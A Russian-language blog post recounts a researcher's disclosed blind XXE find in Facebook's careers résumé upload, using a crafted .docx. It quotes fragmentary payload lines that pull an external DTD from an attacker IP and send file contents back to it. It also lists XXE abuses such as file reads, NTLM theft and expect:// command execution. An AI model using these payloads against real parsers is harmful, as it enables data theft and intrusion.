Безопасность · 3 min read · Nov 23, 2025

Взлом Facebook с помощью внедрения XML-пayload в документ Word

Table Of Contents

  • Взлом Facebook с помощью поддельного документа Microsoft Word
  • Известные уязвимости
  • Последствия
  • Награда получена

Взлом Facebook с помощью поддельного документа Microsoft Word

Мохамед Рамадан, исследователь в области безопасности, нашел критическую уязвимость в Facebook, которая позволяет пользователю управлять с помощью поддельного файла Microsoft Word .docx.

Рамадан успешно нашел уязвимости у крупных поставщиков услуг, таких как Google, Facebook, Twitter, Microsoft и т.д., и был вознагражден за это наградой за обнаружение ошибок.

Известные уязвимости

Известно, что Facebook не имеет самых безопасных серверов в мире. Многие люди сообщали о серьезных ошибках с 2010 года, и социальная сеть также устранила опасную уязвимость XXE, затрагивающую OpenID в конце 2013 года. XXE (XML External Entity) — это метод, который использует слабый механизм разбора XML. Эта атака может привести к раскрытию конфиденциальных данных, отказу в обслуживании, сканированию портов с точки зрения машины, на которой находится парсер, и другим системным воздействиям. Вы можете прочитать больше об этих исправлениях здесь.

Facebook уточнил, что исправил все свои серверы, поэтому нахождение другой уязвимости XXE казалось крайне маловероятным. Тем не менее, Рамадан решил продолжить свои поиски. После некоторых исследований он наткнулся на страницу карьеры Facebook https://www.facebook.com/careers/. Он успешно загрузил свое резюме на Facebook, но понял, что может загружать только файлы в форматах PDF или .DOCX. Формат .docx — это, по сути, сжатые xml-файлы, разработанные Microsoft, и Рамадан увидел лазейку в системе безопасности Facebook. Он создал поддельное резюме с поддельным документом Microsoft Word и загрузил его на веб-страницу карьеры Facebook.

Он создал XML-файл со следующим кодом, написанным в нем

DOCTYPE root [ dtd SYSTEM “https://197.37.102.90/ext.dtd”> %dtd; %send; ]]>

Теперь у него было готовое поддельное резюме. Он запустил HTTP-сервер на Python на своем локальном компьютере. Он создал файл с именем ext.dtd, ожидающий в директории mohaab007, и вот содержимое ext.dtd:

https://197.37.102.90/FACEBOOK-HACKED?%25file;’>” > %all;

После загрузки поддельного Word CV он ждал ответа от веб-сайта Facebook. Как он утверждает в своем блоге,

“Теперь все хорошо, и я загрузил CV.docx на https://www.facebook.com/careers/ и подождал минуту, но ничего не произошло. Я сказал себе, что это полное провал, и я проверю свой профиль в Facebook вместо этого, пообщаюсь с друзьями и поиграю в игру или что-то еще после этой долгой НЕУДАЧИ. Я потратил около 15 минут на общение и просмотр, теперь пришло время остановить python http сервер и закрыть Facebook и все остальное. Я собирался закрыть свое окно терминала и был шокирован, увидев, что что-то подключилось к моему python http серверу”

Ему удалось обмануть сервер Facebook, чтобы подключиться к его серверу. По его собственным словам, он теперь мог использовать это соединение для:

  • DoS системы разбора, заставляя ее открывать, например, file:///dev/random | file:///dev/urandom | file://c:/con/con

  • TCP-сканирования с использованием HTTP-внешних сущностей (включая за межсетевыми экранами, поскольку серверы приложений часто имеют мировоззрение, отличное от мировоззрения атакующего)

  • Неавторизованного доступа к данным, хранящимся в виде XML-файлов на файловой системе системы разбора (конечно, атакующему все равно нужно найти способ вернуть эти данные)

  • DoS на других системах (если системе разбора разрешено устанавливать TCP-соединения с другими системами)

  • Кража материалов аутентификации NTLM, инициируя доступ к файлам UNC к системам под контролем атакующего (далеко от реальности?)

  • Сценарий Судного дня: Широко развернутое и высоко связанное приложение, уязвимое к этой атаке, может быть использовано для DDoS.

  • Список каталогов, чтение системных и прикладных файлов и в некоторых случаях выполнение системных команд с использованием php expect:// обертки.

Последствия

Он попытался получить доступ к системным файлам на сервере, но не смог получить доступ, скорее всего, из-за существующих механизмов безопасности. Но он был уверен, что атака, которую он смог осуществить, была слепой XXE Out Of Band (OOB), и это был трудоемкий процесс, потому что ему нужно было загрузить и ждать результата более 15 минут. Без дальнейших промедлений он сообщил социальной сети о своих находках. Его находки были отклонены сразу же в первый раз с следующими словами.

Исследователь безопасности взламывает Facebook, внедряя XML-пayload в документ Word

Он ответил команде безопасности Facebook, отправив им поддельное резюме, на что Facebook ответил следующим образом:

Исследователь безопасности взламывает Facebook, внедряя XML-пayload в документ Word

Он все еще не был удовлетворен и продолжал переписку с командой безопасности Facebook, которая в конечном итоге осознала уязвимость в своем механизме загрузки файлов.

Исследователь безопасности взламывает Facebook, внедряя XML-пayload в документ Word

Награда получена

Facebook признал уязвимость и в соответствии со своей политикой вознаградил Рамадана за его исследование. Они исправили уязвимость, добавив эту строку кода:

libxml_disable_entity_loader(true)

Следующее — это видео PoC, которое Рамадан загрузил на YouTube, чтобы продемонстрировать уязвимость в Facebook

Resource : Attack Secure

Share: X/Twitter LinkedIn

Get new posts in your inbox

No spam. Unsubscribe anytime.